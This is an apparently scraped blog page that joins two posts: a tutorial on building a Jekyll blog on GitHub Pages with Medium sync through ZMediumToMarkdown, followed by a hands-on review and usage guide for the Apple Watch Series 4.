Enter the above command in Terminal to install Ruby version 2.6.5.

1
+
rbenv global 2.6.5
+

Enter the above command in Terminal to switch the Ruby version used by Terminal from the system’s built-in version to the rbenv version.

Enter rbenv versions in Terminal to check the current settings:

Enter ruby -v in Terminal to check the current Ruby version, and gem -v to check the current RubyGems status:

*After installing Ruby, RubyGems should also be installed.

Success!

Install Jekyll & Bundler & ZMediumToMarkdown

1
+
gem install jekyll bundler ZMediumToMarkdown
+

Enter the above command in Terminal to install Jekyll & Bundler & ZMediumToMarkdown.

Done!

Create Jekyll Blog from Template

The default Jekyll Blog style is very simple. We can find and apply our favorite styles from the following websites:

The installation method generally uses gem-based themes, some repos provide a Fork method for installation, and some even offer a one-click installation method. In short, the installation method may vary for each template, so please refer to the template’s tutorial for usage.

Additionally, note that since we are deploying to Github Pages, according to the official documentation, not all templates are applicable.

Chirpy Template

Here, I will use the template Chirpy as an example, which I adopted for my Blog. This template provides the simplest one-click installation method and can be used directly.

Other templates rarely offer similar one-click installation. If you are not familiar with Jekyll or GitHub Pages, using this template is a better way to get started. I will update the article with other template installation methods in the future.

Additionally, you can find templates on GitHub that can be directly forked (e.g., al-folio) and used directly. If not, you will need to manually install the template and research how to set up GitHub Pages deployment. I tried this briefly but was not successful. I will update the article with my findings in the future.

Create Git Repo from Git Template

https://github.com/cotes2020/chirpy-starter/generate

  • Repository name: GithubUsername/OrganizationName.github.io (Make sure to use this format)
  • Make sure to select “Public” for the Repo

Click “Create repository from template”

Complete the Repo creation.

Git Clone Project

1
+
git clone git@github.com:zhgchgli0718/zhgchgli0718.github.io.git
+

Git clone the newly created Repo.

Run bundle to install dependencies:

Run bundle lock — add-platform x86_64-linux to lock the version

Modify Website Settings

Open the _config.yml configuration file to set up:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+134
+135
+136
+137
+138
+139
+140
+141
+142
+143
+144
+145
+146
+147
+148
+149
+150
+151
+152
+153
+154
+155
+156
+157
+158
+159
+160
+161
+162
+163
+164
+165
+166
+167
+168
+169
+170
+171
+172
+173
+174
+175
+176
+177
+178
+179
+180
+181
+182
+183
+184
+185
+186
+187
+188
+189
+190
+191
+192
+193
+194
+
# The Site Configuration
+
+# Import the theme
+theme: jekyll-theme-chirpy
+
+# Change the following value to '/PROJECT_NAME' ONLY IF your site type is GitHub Pages Project sites
+# and doesn't have a custom domain.
+# baseurl: ''
+
+# The language of the webpage › http://www.lingoes.net/en/translator/langcode.htm
+# If it has the same name as one of the files in folder `_data/locales`, the layout language will also be changed,
+# otherwise, the layout language will use the default value of 'en'.
+lang: en
+
+# Additional parameters for datetime localization, optional. › https://github.com/iamkun/dayjs/tree/dev/src/locale
+prefer_datetime_locale:
+
+# Change to your timezone › http://www.timezoneconverter.com/cgi-bin/findzone/findzone
+timezone:
+
+# jekyll-seo-tag settings › https://github.com/jekyll/jekyll-seo-tag/blob/master/docs/usage.md
+# ↓ --------------------------
+
+title: ZhgChgLi                          # the main title
+
+tagline: Live a life you will remember.   # it will display as the sub-title
+
+description: >-                        # used by seo meta and the atom feed
+    ZhgChgLi iOS Developer eager to learn, teaching and learning from each other, loves movies/TV shows/music/sports/life
+
+# fill in the protocol & hostname for your site, e.g., 'https://username.github.io'
+url: 'https://zhgchg.li'
+
+github:
+  username: ZhgChgLi             # change to your github username
+
+twitter:
+  username: zhgchgli            # change to your twitter username
+
+social:
+  # Change to your full name.
+  # It will be displayed as the default author of the posts and the copyright owner in the Footer
+  name: ZhgChgLi
+  email: zhgchgli@gmail.com             # change to your email address
+  links:
+    - https://medium.com/@zhgchgli
+    - https://github.com/ZhgChgLi
+    - https://www.linkedin.com/in/zhgchgli
+
+google_site_verification:               # fill in to your verification string
+
+# ↑ --------------------------
+# The end of `jekyll-seo-tag` settings
+
+google_analytics:
+  id: G-6WZJENT8WR                 # fill in your Google Analytics ID
+  # Google Analytics pageviews report settings
+  pv:
+    proxy_endpoint:   # fill in the Google Analytics superProxy endpoint of Google App Engine
+    cache_path:       # the local PV cache data, friendly to visitors from GFW region
+
+# Prefer color scheme setting.
+#
+# Note: Keep empty will follow the system prefer color by default,
+# and there will be a toggle to switch the theme between dark and light
+# on the bottom left of the sidebar.
+#
+# Available options:
+#
+#     light  - Use the light color scheme
+#     dark   - Use the dark color scheme
+#
+theme_mode:   # [light|dark]
+
+# The CDN endpoint for images.
+# Notice that once it is assigned, the CDN url
+# will be added to all image (site avatar & posts' images) paths starting with '/'
+#
+# e.g. 'https://cdn.com'
+img_cdn:
+
+# the avatar on sidebar, support local or CORS resources
+avatar: '/assets/images/zhgchgli.jpg'
+
+# boolean type, the global switch for ToC in posts.
+toc: true
+
+comments:
+  active: disqus        # The global switch for posts comments, e.g., 'disqus'.  Keep it empty means disable
+  # The active options are as follows:
+  disqus:
+    shortname: zhgchgli    # fill with the Disqus shortname. › https://help.disqus.com/en/articles/1717111-what-s-a-shortname
+  # utterances settings › https://utteranc.es/
+  utterances:
+    repo:         # <gh-username>/<repo>
+    issue_term:   # < url | pathname | title | ...>
+  # Giscus options › https://giscus.app
+  giscus:
+    repo:             # <gh-username>/<repo>
+    repo_id:
+    category:
+    category_id:
+    mapping:          # optional, default to 'pathname'
+    input_position:   # optional, default to 'bottom'
+    lang:             # optional, default to the value of `site.lang`
+
+# Self-hosted static assets, optional › https://github.com/cotes2020/chirpy-static-assets
+assets:
+  self_host:
+    enabled:      # boolean, keep empty means false
+    # specify the Jekyll environment, empty means both
+    # only works if `assets.self_host.enabled` is 'true'
+    env:          # [development|production]
+
+paginate: 10
+
+# ------------ The following options are not recommended to be modified ------------------
+
+kramdown:
+  syntax_highlighter: rouge
+  syntax_highlighter_opts:   # Rouge Options › https://github.com/jneen/rouge#full-options
+    css_class: highlight
+    # default_lang: console
+    span:
+      line_numbers: false
+    block:
+      line_numbers: true
+      start_line: 1
+
+collections:
+  tabs:
+    output: true
+    sort_by: order
+
+defaults:
+  - scope:
+      path: ''          # An empty string here means all files in the project
+      type: posts
+    values:
+      layout: post
+      comments: true    # Enable comments in posts.
+      toc: true         # Display TOC column in posts.
+      # DO NOT modify the following parameter unless you are confident enough
+      # to update the code of all other post links in this project.
+      permalink: /posts/:title/
+  - scope:
+      path: _drafts
+    values:
+      comments: false
+  - scope:
+      path: ''
+      type: tabs             # see `site.collections`
+    values:
+      layout: page
+      permalink: /:title/
+  - scope:
+      path: assets/img/favicons
+    values:
+      swcache: true
+  - scope:
+      path: assets/js/dist
+    values:
+      swcache: true
+
+sass:
+  style: compressed
+
+compress_html:
+  clippings: all
+  comments: all
+  endings: all
+  profile: false
+  blanklines: false
+  ignore:
+    envs: [development]
+
+exclude:
+  - '*.gem'
+  - '*.gemspec'
+  - tools
+  - README.md
+  - LICENSE
+  - gulpfile.js
+  - node_modules
+  - package*.json
+
+jekyll-archives:
+  enabled: [categories, tags]
+  layouts:
+    category: category
+    tag: tag
+  permalinks:
+    tag: /tags/:name/
+    category: /categories/:name/
+

Please replace the settings according to the comments.

⚠️ _config.yml needs to be restarted after any adjustments to apply the changes.

Preview the Website

After the dependencies are installed,

you can start the local website with bundle exec jekyll s:

Copy the URL http://127.0.0.1:4000/ and paste it into your browser to open it.

Local preview successful!

As long as this Terminal is open, the local website will be running. The Terminal will continuously update the website access logs, which is convenient for debugging.

We can open a new Terminal for other subsequent operations.

Jekyll Directory Structure

Depending on the template, there may be different folders and configuration files. The article directory is:

  • _posts/: Articles will be placed in this directory Article file naming convention: YYYYMMDD - article-file-name .md
  • assets/: Website resource directory, images used on the website or images within articles should be placed here

Other directories like _includes, _layouts, _sites, _tabs… allow you to make advanced customizations.

Jekyll uses Liquid as the page template engine. The page template is composed in a manner similar to inheritance:

Users can freely customize pages. The engine will first check if the user has created a corresponding custom file for the page -> if not, it will check if the template has one -> if not, it will use the original Jekyll style.

So we can easily customize any page by creating a file with the same name in the corresponding directory!

Create/Edit Articles

  • We can first delete all the sample article files under the _posts/ directory.

Use Visual Code (free) or Typora (paid) to create Markdown files. Here we use Visual Code as an example:

  • Article file naming convention: YYYYMMDD - article-file-name .md
  • It is recommended to use English for the file name (SEO optimization), as this name will be the URL path

Article Content Top Meta:

1
+2
+3
+4
+5
+6
+7
+8
+9
+
---
+layout: post
+title:  "Hello"
+description: ZhgChgLi's first article
+date:   2022-07-16 10:03:36 +0800
+categories: Jekyll Life
+author: ZhgChgLi
+tags: [ios]
+---
+
  • layout: post
  • title: Article title (og:title)
  • description: Article description (og:description)
  • date: Article publication time (cannot be in the future)
  • author: Author (meta:author)
  • tags: Tags (can be multiple)
  • categories: Categories (single, use space to separate subcategories Jekyll Life -> Life directory under Jekyll)

Article Content:

Write using Markdown format:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+
---
+layout: post
+title:  "Hello"
+description: ZhgChgLi's first article
+date:   2022-07-16 10:03:36 +0800
+categories: Jekyll Life
+author: ZhgChgLi
+tags: [ios]
+---
+# HiHi!
+Hello there
+I am **ZhgChgLi**
+Image:
+![](/assets/post_images/DSC_2297.jpg)
+> _If you have any questions or comments, feel free to [contact me](https://www.zhgchg.li/contact) ._
+

Results:

⚠️ Adjusting the article does not require restarting the website. The file changes will be rendered and displayed directly. If the modified content does not appear after a while, it may be due to an error in the article format causing rendering failure. You can check the Terminal for the reason.

Download articles from Medium and convert them to Markdown for Jekyll

With basic knowledge of Jekyll, we move forward by using the ZMediumToMarkdown tool to download existing articles from Medium and convert them to Markdown format to place in our Blog folder.

cd to the blog directory and run the following command to download all articles from the specified Medium user:

1
+
ZMediumToMarkdown -j your Medium account
+

Wait for all articles to download…

If you encounter any download issues or unexpected errors, feel free to contact me. This downloader was written by me (development insights), and I can help you solve the problem quickly and directly.

After the download is complete, you can preview the results on the local website.

Done!! We have seamlessly imported Medium articles into Jekyll!

You can check if the articles are formatted correctly and if there are any missing images. If there are any issues, feel free to report them to me for assistance in fixing them.

Upload content to Repo

After confirming that the local preview content is correct, we need to push the content to the Github Repo.

Use the following Git commands in sequence:

1
+2
+3
+
git add .
+git commit -m "update post"
+git push
+

After pushing, go back to Github, and you will see that Actions are running CD:

Wait about 5 minutes…

Deployment completed!

Initial deployment settings

After the initial deployment, you need to change the following settings:

Otherwise, when you visit the website, you will only see:

1
+
--- layout: home # Index page ---
+

After clicking “Save,” it will not take effect immediately. You need to go back to the “Actions” page and wait for the deployment again.

After redeployment is complete, you can successfully access the website:

Demo -> zhgchg.li

Now you also have a free Jekyll personal blog!!

About deployment

Every time you push content to the Repo, it will trigger a redeployment. You need to wait for the deployment to succeed for the changes to take effect.

Bind a custom domain

If you don’t like the zhgchgli0718.github.io Github URL, you can purchase a domain you like from Namecheap or register a free .tk domain from Dot.tk.

After purchasing the domain, go to the domain backend:

Add the following four Type A Record records

1
+2
+3
+4
+
A Record @ 185.199.108.153
+A Record @ 185.199.109.153
+A Record @ 185.199.110.153
+A Record @ 185.199.111.153
+

After adding the settings in the domain backend, go back to Github Repo Settings:

In the Custom domain section, enter your domain, and then click “Save”.

After the DNS is connected, you can replace the original github.io address with zhgchg.li.

⚠️ DNS settings take at least 5 minutes ~ 72 hours to take effect. If it cannot be verified, please try again later.

Cloud, Fully Automated Medium Synchronization Mechanism

Every time there is a new article, you have to manually run ZMediumToMarkdown on your computer and then push it to the project. Is it troublesome?

ZMediumToMarkdown actually also provides a convenient Github Action feature that allows you to free up your computer and automatically synchronize Medium articles to your website.

Go to the Actions settings of the Repo:

Click “New workflow”

Click “set up a workflow yourself”

  • Change the file name to: ZMediumToMarkdown.yml
  • The file content is as follows:
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+
name: ZMediumToMarkdown
+on:
+  workflow_dispatch:
+  schedule:
+    - cron: "10 1 15 * *" # At 01:10 on day-of-month 15.
+
+jobs:
+  ZMediumToMarkdown:
+    runs-on: ubuntu-latest
+    steps:
+    - name: ZMediumToMarkdown Automatic Bot
+      uses: ZhgChgLi/ZMediumToMarkdown@main
+      with:
+        command: '-j your Medium account'
+
  • cron: Set the execution cycle (weekly? monthly? daily?). Here it is set to automatically execute at 1:15 AM on the 15th of each month.
  • command: Enter your Medium account after -j

Click the top right “Start commit” -> “Commit new file”

Complete the creation of Github Action.

After creation, go back to Actions and you will see the ZMediumToMarkdown Action.

In addition to automatic execution at the scheduled time, you can also manually trigger execution by following these steps:

Actions -> ZMediumToMarkdown -> Run workflow -> Run workflow.

After execution, ZMediumToMarkdown will directly run the script to synchronize Medium articles to the Repo through Github Action’s machine:

After running, it will trigger a redeployment. Once the redeployment is complete, the latest content will appear on the website. 🚀

No manual operation required! This means you can continue to update Medium articles in the future, and the script will automatically help you sync the content from the cloud to your own website!

My Blog Repo

If you have any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

iOS: Insuring Your Multilingual Strings!

App Store Connect API Now Supports Reading and Managing Customer Reviews

diff --git a/posts/a2920e33e73e/index.html b/posts/a2920e33e73e/index.html new file mode 100644 index 0000000000..f678c3f7e2 --- /dev/null +++ b/posts/a2920e33e73e/index.html @@ -0,0 +1 @@ + Apple Watch Series 4: Comprehensive Review from Unboxing to Mastery | ZhgChgLi
Home Apple Watch Series 4: Comprehensive Review from Unboxing to Mastery
Post
Cancel

Apple Watch Series 4: Comprehensive Review from Unboxing to Mastery

Apple Watch Series 4 Unboxing: Comprehensive Review from Unboxing to Mastery (Updated 2020–10–24)

Why buy it? Is it useful? What’s good about it? How to use it? & WatchOS APP recommendations

[Latest] Apple Watch Series 6 Unboxing & Two-Year Experience Review >>>Click Here

From the Beginning…

Personal Background

First, let me share my background with Apple products. I am not a die-hard Apple fan; my first encounter was in 2015 when I bought an iPhone 6 with my part-time job salary. Due to work needs, I started using a MacOS computer (Mac Mini) last year and bought my own MacBook Pro this year, and switched to an iPhone 8. The reasons I stepped into the Apple ecosystem are nothing more than:

  1. Work needs (developing iOS APPs requires MacOS equipment)
  2. Work efficiency (better stability, program switching, and operation experience, coupled with the ecosystem’s interaction and data synchronization between iPhone and MacOS, simplify many tasks)
  3. Battery life, portability, Retina display

[Updated 2019–05–02]: Another addition to the Apple family, AirPods 2 (Unboxing and Hands-on Experience Click Here)

Why Buy an Apple Watch?

  1. Record exercise and heart rate
  2. Don’t want to carry a phone while running
  3. Reduce phone usage time but don’t want to miss important information
  4. Avoid taking out the phone/use Apple Pay when carrying bags
  5. Automatically unlock MacBook when nearby (my MacBook Pro is a non-Touch Bar version, entering the password is tiring)
  6. Navigation while cycling
  7. Trendy! Never used it, want to try it out
  8. Want to write WatchOS APPs

Starting the Selection…

Considering the above factors, I began to choose a suitable Apple Watch; excluding the strap material, there are three versions of the body to choose from:

  1. Aluminum case + possibly scratchable glass surface + GPS = $12,900 (40mm) / $13,900 (44mm)
  2. Aluminum case + possibly scratchable glass surface + GPS + Cellular = $16,500 (40mm) / $17,500 (44mm)
  3. Stainless steel case + sapphire crystal glass + GPS + Cellular = $22,900 (40mm) / $24,900 (44mm)

I personally bought 2. Aluminum case + possibly scratchable glass surface + GPS + Cellular 44 mm

About the Watch Face:

Size

There are two sizes, 40mm and 44mm. Choose based on your wrist size; too large may not fit well, and heart rate detection may be inaccurate; too small may look odd.

Left 44mm/Right 40mm (Thanks to a colleague for the support)

Left 44mm/Right 40mm (Thanks to a colleague for the support)

If you can't find something to compare, you can use a disposable contact lens case, approximately 44mm (actual measurement 44.5mm)

If you can’t find something to compare, you can use a disposable contact lens case, approximately 44mm (actual measurement 44.5mm)

Here is a picture of my wrist for reference. If you are still unsure about the size, it’s best to visit a store and try it on (I initially aimed for 40mm, but found it too small after trying it on).

*Apple Watch 3 38mm and Apple Watch 4 40mm have the same size and interchangeable straps *Apple Watch 3 42mm and Apple Watch 4 44mm have the same size and interchangeable straps

Case Material

There are two options: aluminum case + possibly scratchable glass surface and stainless steel case + sapphire crystal glass. If budget allows, the latter is recommended; due to budget constraints, I chose the former. Why choose the stainless steel case + sapphire crystal glass version?

  1. Although the body is heavier (you might feel it during exercise), it is easier to match with outfits in daily life. A leather or metal strap paired with a stainless steel body can complement business attire for a more consistent aesthetic. Switching to a sports strap for casual or athletic activities maintains elegance and versatility!

  2. The sapphire crystal glass is extremely hard, so you don’t have to worry about scratches on the watch face. (Personal experience: My previous iPhone 6 was used without a case for over a year. I didn’t particularly protect it, just kept it in my pocket or on the table, and the screen got scratched up. However, the camera lens, which uses sapphire crystal glass, remained pristine.)

But I bought the regular version… If you search online for articles about Apple Watch screen protectors, you’ll find two camps: one supports using a screen protector to prevent scratches, and the other opposes it, arguing that it’s a matter of usage habits and that the watch isn’t so fragile. Do you see Rolex watches with screen protectors? Or, if you’re a laid-back user who just wants to use the watch as a consumable product, you won’t have this concern.

Personally, I have a bit of OCD and would be annoyed by scratches, so I support using a screen protector. Usage habits? I think only bumping into things is a bad habit; daily dust damage is hard to prevent.

If you also want to use a screen protector, here’s a suggestion: “Spend a bit more money to have someone apply it for you.” I usually apply screen protectors to my phone myself, so why do I recommend having someone else apply it for the Apple Watch?

This part was very frustrating for me. First, I bought a tempered glass protector from Tokyo* on Pchome ($399). It was a hard film with adhesive only on the edges, leaving a hollow space in the middle, making touch sensitivity very poor (seriously, did the manufacturer not test this?). So I removed it shortly after applying it.

The second attempt was with a g*r soft film ($100 for two pieces), which had full adhesive and adhered well, but it was difficult to apply without bubbles. I tried both pieces, but there were still some bubbles that were very noticeable, and it wasn’t oleophobic or hydrophobic, making it uncomfortable to use.

Finally, I spent $990 to have someone apply an h*a jelly adhesive glass protector (x豪包膜). It adhered well, had no bubbles, covered the entire screen, and was oleophobic and hydrophobic.

If you still want to try applying a screen protector yourself, look for a hydrogel film.

The feel after applying the screen protector is not as good as the original (personally, I rate it about 97 out of 100), and the screen will be slightly raised. It's a personal choice!

The feel after applying the screen protector is not as good as the original (personally, I rate it about 97 out of 100), and the screen will be slightly raised. It’s a personal choice!

  1. The stainless steel case is more resistant to bumps and scratches and can be polished again. My colleague’s stainless steel version is still in perfect condition with no scratches. I don’t care much about the case, but friends who do might consider using a case (?)

Stainless steel version (thanks to my colleague for the support)

Stainless steel version (thanks to my colleague for the support)

So, if your budget allows, I still recommend upgrading to the stainless steel version.

About choosing a protective case:

Screen protectors are prone to chipping at the edges. Without a protective case, my screen protectors usually get damaged within a month, costing $990 each time. I’ve replaced three so far, which is frustrating. Since using a protective case, it’s been four months, and the screen protector is still intact!

I recommend “at least using a bumper case,” any brand will do.

My painful lesson is that I wish I had known about protective cases earlier. It would have saved me a lot of money!

Should you buy the cellular version?

I’m on the fence about this. I personally bought the cellular version so I wouldn’t need to carry my phone while running. Considering I plan to use it for 2-3 years and don’t know what the future holds, I decided to upgrade. However, if your budget is limited and you don’t go out without your phone, you can just buy the WiFi version (price difference is $3600). Consider the following points:

  1. Currently, Spotify does not support offline playback, so you still need to carry your phone to listen to music while exercising (as of 2018/11/21). p.s. Apple Music/KKBOX supports offline playback, so this isn’t an issue.
  2. There aren’t many Apple Watch apps, and the main functions are making calls, replying to messages, replying to Line, replying to Facebook Messenger, and using Apple Pay. *Apple Pay can be used offline without the cellular version.
  3. Using cellular requires an additional subscription and a monthly fee of $199 (Chunghwa Telecom/~2018/12/31 promotional price of $149), and the data usage is deducted from your phone’s plan.
  4. The cellular function works by transmitting data from the watch to the phone via the telecom network, and then the phone sends it out. Therefore, your phone must be turned on for the watch to work. *So if your phone is dead or turned off, the watch won’t work, even if you have the cellular version.

[2020–10–24 Update]: Spotify now supports standalone playback. In the Spotify app on the watch, select the playback device -> Apple Watch -> connect Bluetooth headphones -> you can play music! (Still does not support offline download playback, so it requires an internet connection).

Purchase

Last week (2018/11/11), I went to 101 but couldn’t find the model I wanted, so I ordered online from China. I placed the order on 11/11, it shipped on 11/12, and it arrived on 11/15 as scheduled:

Unboxing

When I received it, I was so excited that I opened it right away without recording the process. You can refer to the unboxing videos online: Apple Watch Series 4 Experience Full-Screen Watch, Is It You? (Mainland China)Apple Watch Series 4 Complete Unboxing! Three Features Are Super Impressive (Taiwan)

Supplementary Unboxing Picture

Supplementary Unboxing Picture

The unboxing part ends here…

Getting Started

Pairing and basic settings won’t be elaborated here; you can refer to the unboxing articles above. Here, we assume you have already set up and started using your Apple Watch.

Button Diagram — [Apple Official Support Center](https://support.apple.com/zh-tw/HT205552){:target="_blank"}

Button Diagram — Apple Official Support Center

“Digital Crown” = “Digital Crown” “Side Button” = “Side Button”

Button Operations:

  1. Press the Digital Crown once to switch between the home screen and the watch face.
  2. Press the Digital Crown twice to switch to the most recently opened app.
  3. Press the Side Button once to bring up the Dock (multitasking window), which can be set to show the most recently opened apps or your favorite apps (open the “Watch” app on your “iPhone” -> “My Watch” tab -> Dock -> Dock Order).
  4. Press the Side Button twice to bring up Apple Pay, and it will directly proceed with payment. p.s. To change the default card for Apple Pay, open the “Watch” app on your “iPhone” -> “My Watch” tab -> Wallet & Apple Pay -> Transaction Defaults -> Default Card -> Choose the card you want to set as default.
    • You cannot change the order, only specify one card as the default to be placed first.
  5. Long press the Side Button to bring up the system menu “Power Off” or “Turn On”, show the medical ID, or make an SOS emergency call.

Apple Watch Screenshot Function

This is important, so it’s placed first. How to take a screenshot on Apple Watch: Open the “Watch” app on your “iPhone” -> “My Watch” tab -> go to “General” -> “Enable Screenshots” and turn it on.

On the Apple Watch, press the Digital Crown and the Side Button simultaneously. When the screen flashes, the screenshot is taken. You can then find the screenshot in the Photos app on your iPhone!

Speaker

The built-in speaker on the watch can only be used for calls and playing alert sounds, not for playing music. If you feel uncomfortable talking on the watch in public, you can use Bluetooth earphones.

Explanation of Various Icons

Please refer to the official document

Connection Between Apple Watch and iPhone

The watch uses Bluetooth when near the phone and WiFi when the distance is too far.

Left indicates disconnected, right indicates connected

Left indicates disconnected, right indicates connected

Notifications from iPhone Apps to Apple Watch

By default, the watch mirrors the notification settings of the apps on the iPhone. You can also specifically turn off notifications for certain apps so they don’t get sent to the watch (open the “Watch” app on your “iPhone” -> “My Watch” tab -> “Notifications” -> scroll to the bottom to adjust for each app).

  • If an app does not appear in this list, it means that the app does not have notifications enabled on the iPhone (go to “Settings” on your “iPhone” -> “Notifications” -> enable notifications for that app).
  • Why do some notifications have sound/vibration while others don’t? This setting mirrors the notification settings of the apps on the iPhone. If the app’s “Notifications” setting has “Sound” enabled, there will be sound and vibration.
  • Most app notifications only support viewing, while some support actions (e.g., Line notifications allow replies on the watch).
  • When the phone is not in use and the watch is worn, new notifications will appear on the watch, and the phone will not ring but will still show in the notification center. This prevents both the phone and the watch from ringing simultaneously.

APP Support for Apple Watch

  • By default, when installing an APP that supports Apple Watch, it will also be installed on the Apple Watch (can be turned off from “Watch” APP on “iPhone” -> “My Watch” page -> “General” -> turn off “Automatic App Install”).
  • Can I install only the Apple Watch APP? No, currently it is not possible to install the Apple Watch APP independently; there will always be an APP on the iPhone.
  • I don’t want to install the Apple Watch version of the APP. From the “Watch” APP on “iPhone” -> “My Watch” page -> scroll down to the “Installed on Apple Watch” section -> turn off “Show App on Apple Watch”.
  • APP supporting “Complications” means it supports watch face widgets.

Watch Face Design

Feel free to play around and place whatever you think is important or looks good; I put “information I always want to know when I look at my watch” on the watch face, and you can also add multiple watch faces for switching.

Flashlight

You read that right, Apple Watch also has a flashlight; pull up the menu from the bottom of the watch face page to find the “Flashlight” button, and you can swipe left or right to change the screen color; yes, it’s just a high-brightness screen color!

What’s special is that there is also a strobe mode:

Apple Watch S4 FlashLight

Making night activities safer!

Various Modes

“Silent Mode” - All notifications are silent, no vibration, no screen lighting, only shown in the notification center.

“Theater Mode” - Raising the wrist will not wake the screen, you need to tap the screen to wake it.

“Water Lock” - Locks the screen touch, you need to turn the digital crown to unlock, and the speaker will automatically play sound to expel water after unlocking.

“Airplane Mode” - Turns off all external connections.

“Power Reserve Mode” - Really saves power! Only the time display function remains when pressing the digital crown, everything else is turned off, almost like being off; to exit Power Reserve Mode, press and hold the side button (same as turning on).

In all these modes, alarms and countdown functions will still sound (Power Reserve Mode will force the device to turn on).

Raise Wrist to Call Siri

Just raise your wrist, and after the screen lights up, you can directly speak to use Siri! No need to say “Hey! Siri” (e.g., after raising your wrist, directly say “Tomorrow’s weather”). You can also use Siri when your phone is at a distance (e.g., when hanging clothes).

[2019-05-02 Update]: For an even better Siri experience, refer to AirPods 2 Unboxing and Hands-on Experience for the Siri section. With AirPods 2, you can use Siri directly with the headphones on, without even raising your wrist.

AQI Air Quality Not Displaying?

The built-in AQI seems not to support the Taiwan region. You need to search for “Air Matters” in the “App Store”, download and install it, then open it. After that, go to the watch face design complications section and select “Air Matters”.

Unlock Mac with Apple Watch

  1. Ensure your iPhone/Apple Watch/Mac are logged into the same Apple ID.
  2. Ensure your Apple ID has Two-Factor Authentication enabled.
  3. Once the system detects your Apple ID has an Apple Watch, it will add a line in “System Preferences” -> “Security & Privacy” -> “General” -> “Allow your Apple Watch to unlock your Mac” -> “Check the box”.

If it keeps failing to enable, first ensure your Apple ID has Two-Factor Authentication enabled (not Two-Step Verification) or try restarting your computer!

p.s. My company’s Mac Mini couldn’t enable it until I restarted it.

Photos Opening Blank?

By default, it shows favorites from your iPhone. Open “Photos” on your iPhone, tap the “heart” on the photos you want to transfer to your watch, and they will appear.

Activity Records and Workouts

Activity records have three rings and three goals daily:

  1. Stand (Blue): Standing for 1 minute each hour counts as 1 time.
  2. Exercise (Green): Only activities that exceed the intensity of a brisk walk are counted.
  3. Move (Red): The number of active calories burned, increases with any movement.

For details, check the “Health” APP on your iPhone for a detailed explanation.

Daily achievement records will prompt, and you can also press hard on the “Activity” APP on Apple Watch to adjust activity goal values (default is 360 active calories per day).

Physical training part: For running, I use Nike Run Club + instead of the built-in one. Last week, I went cycling and tried the built-in physical training -> “Outdoor Cycling” to record. It records altitude/distance/time/path/heart rate. Awesome!

Map Function?

Currently, it only supports Apple Map, Google Map is not supported yet. Open “Maps” to search or select the company or home address set in personal information (Source: Contacts -> My Card) or contact information or manually input the destination. After starting navigation, each turn is a card that automatically flips based on movement. You can rotate to view, and click to see the map content. When there are 40 meters left, it will vibrate to alert you. Press hard to end navigation.

This part just transfers your phone’s Apple Map information to the watch (when the watch is navigating, the phone’s navigation will also automatically open).

Actual usage experience: Apple Map has very few landmarks and is hard to search. It seems to only guide main roads. Even though there are dual lanes, faster, and no traffic routes, it doesn’t guide… So still looking forward to Google Map updates. For now, just use this as a temporary solution.

Here is a Siri shortcut: Open Google Map item using Apple Map

Bluetooth Camera Button

Open “Camera” on Apple Watch, and the phone’s camera will also open. You can use the watch to control the phone’s camera for taking photos and videos. Press hard to switch lenses/settings.

Where is my phone?

On the watch face page, swipe up from the bottom to find a “phone vibrating icon.” Click it, and the phone will make a sound!

  • The phone will make a sound even in silent or do not disturb mode.
  • Press hard on the icon, and the phone will also flash its light.

p.s. The reverse function (finding the watch with the phone) is not available. If lost, please use “Find iPhone” to locate it.

Message input cannot recognize handwritten Chinese characters, and voice input does not understand Chinese

I think this is a bug…

In messages, press hard on the "microphone" or "handwriting" icon to bring up the menu > "Select Language" -> "Chinese"

In messages, press hard on the “microphone” or “handwriting” icon to bring up the menu > “Select Language” -> “Chinese”

Another method is to open “iPhone” -> “Settings” -> “General” -> “Keyboard” -> “Dictation” -> “Dictation Languages” -> check only “Mandarin”

This way, your voice input will only understand Mandarin, and the phone part will also be affected.

Turn off Breathe reminders/Turn off Stand reminders

Open the “Watch” APP on “iPhone” -> “My Watch” page -> Breathe -> Turn off Breathe reminders

Open the “Watch” APP on “iPhone” -> “My Watch” page -> Activity -> Turn off Stand reminders

Want to set a more complex password for the watch

Open the “Watch” APP on “iPhone” -> “My Watch” page -> Passcode -> Simple Passcode -> Turn off -> then you can set a 6-digit passcode

Can the watch display Whoscall information when a call comes in?

No.

Is it laggy?

Compared to a colleague’s Apple Watch S3, the S4 opens apps almost without loading, and it boots up quickly. You can refer to this video for actual tests: 【Latest】4th Generation Apple Watch Series 4 Speed Test Volume Comparison

Does it consume a lot of power?

I only wear it from waking up to before showering, not while sleeping (afraid of hitting the wall unconsciously). I take it off to charge before showering.

  • Fully charged at 12 AM, taken off and left, about 95% left by 8 AM the next day.
  • Fully charged at 12 AM, taken off and left, switched to airplane mode, about 98% left by 8 AM the next day.

Wearing it for about 15 hours a day, if not playing with it constantly, about 65% battery left. It can last, barely needing a charge every two days.

*The first charge may take longer. *Battery performance may not be optimal in the first few days, causing higher consumption.

  1. Air Matters (Free): Supports watch face complications for AQI information.

  2. 秒速記帳 ($60): Fast accounting software, supports dial complications. I have tried this and C*Money, but C*Money costs $120 and the interface is too complicated for me to use. So I recommend this one.

  3. Bus+ (Free): Bus information query. I originally used Taipei Bus but that app does not support Apple Watch, so I had to give it up. Bus+ works differently from Taipei Bus; Bus+ is station-based. My personal setup is to categorize frequently used locations (home/company/MRT station) and add the bus routes that pass through.

Bus+

Bus+

  1. Nike+ Run Club (Free): Running record app.

